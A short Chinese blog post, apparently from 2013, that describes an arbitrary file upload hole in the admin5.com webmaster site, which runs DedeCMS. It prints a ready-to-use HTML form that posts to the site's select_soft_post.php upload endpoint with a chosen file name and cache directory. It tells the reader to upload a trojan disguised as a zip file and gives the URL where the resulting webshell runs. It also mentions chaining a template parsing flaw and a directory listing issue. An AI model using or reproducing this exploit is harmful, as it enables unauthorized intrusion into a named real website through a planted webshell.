Technology · 2013 年 4 月 21 日 0

A5站长网任意文件上传漏洞

首先注册个会员,然后。。
<form target=”_blank” action=”http://www.admin5.com/include/dialog/select_soft_post.php” method=”post” enctype=”multipart/form-data” name=”QuickSearch” id=”QuickSearch”>
<input type=”text” name=”newname” value=”mytag-999.htm”>
<input type=”text” name=”activepath” value=”/data/cache”>
<input type=”file” name=”uploadfile”>
<input type=”submit” value=”搜索” name=”QuickSearchBtn”>
</form>

上传一个zip后辍的木马文本

shell 地址:http://www.admin5.com/plus/mytag_js.php?aid=999

其实过程还是有一些,就是能上传目录不能执行,能执行目录不能上传,还好dede还有模板解释漏洞。。。
其实这还存在列目录问题。。。
这程序是DEDE,是自己改错了吧?